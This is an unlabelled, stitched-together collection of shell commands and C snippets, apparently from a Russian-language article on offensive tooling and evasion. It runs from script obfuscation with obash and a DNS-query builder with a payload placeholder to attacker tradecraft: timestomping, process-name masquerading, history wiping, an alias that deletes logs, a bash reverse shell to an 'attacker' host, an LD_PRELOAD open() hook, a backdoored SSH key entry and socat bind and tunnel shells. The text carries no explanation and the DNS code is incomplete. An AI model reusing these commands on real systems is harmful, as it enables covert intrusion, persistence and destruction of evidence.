git clone https://github.com/Cyber-Buddy/APKHunt.git
cd APKHunt
go run apkhunt.go -p app.apk -l

unsigned short __do53_query(char *_qname, __do53_type _qtype, unsigned char *_wire)
{
  _wire[0] = // Вот здесь пейлоад
  _wire[1] = // Вот здесь пейлоад
  _wire[2] = 0x01;
  _wire[3] = 0x00;
  _wire[4] = 0x00;
  _wire[5] = 0x01;
  _wire[6] = 0x00;
  _wire[7] = 0x00;
  _wire[8] = 0x00;
  _wire[9] = 0x00;
  _wire[10] = 0x00;
  _wire[11] = 0x00;
 
  int query_lenght = __ascii_convertation_to_wire(_qname, &(_wire[12]));
  int nextLoc = 12 + query_lenght + 1;
 
  _wire[nextLoc] = 0x00;
  _wire[++nextLoc] = 0x01;
  _wire[++nextLoc] = 0x00;
  _wire[++nextLoc] = 0x01;
 
  return nextLoc + 1;
}

git clone https://github.com/louigi600/obash.git
cd obash/
sudo apt install libssl-dev
make
./obash testme

sudo cat /sys/devices/virtual/dmi/id/product_uuid > product_uuid
sudo cat /sys/devices/virtual/dmi/id/product_serial > product_serial

char prod_uuid[256]="./product_uuid";
char prod_serial[256]="./product_serial";

#!/bin/bash
echo "my pid is: $$"
echo $0
echo $*
read -p "enter something ... " A
echo $A
sleep 10 &
ps -ef | grep $$
ps -ef | grep $!
sleep 2

./obash testme -o testme.x

mcedit testme.x

ldd ./testme.x

strace -o log ./testme.x

gcc fake_interpreter.c -o bash
gcc fake_interpreter.c -o python

PATH=.:$PATH ./testme.x

pip install bandit

bandit -r ./my_project

bandit my_script.py

touch -r /bin/ls hack.sh
touch -t 201801010101.01 hack.sh

exec -a "[kworker/0:1H]" ./evil.sh
echo "httpd" > /proc/$$/comm

HISTFILE=/dev/null
set +o history
history -c && history -w

alias ls='ls --hide=hack.sh'
alias vanish='rm -rf ~/.bash_history /var/log/*'

bash -i >& /dev/tcp/attacker/443 0>&1

#include <stdio.h>
#include <dlfcn.h>
#include <fcntl.h>

int open(const char *path, int flags, ...) {
    static int (*orig_open)(const char*, int, ...) = NULL;
    if (!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    if (strstr(path, "shadow")) return orig_open("/etc/passwd", flags);
    return orig_open(path, flags);
}

command="/bin/bash -i" ssh-rsa AAAAB3...

socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash

socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:localhost:22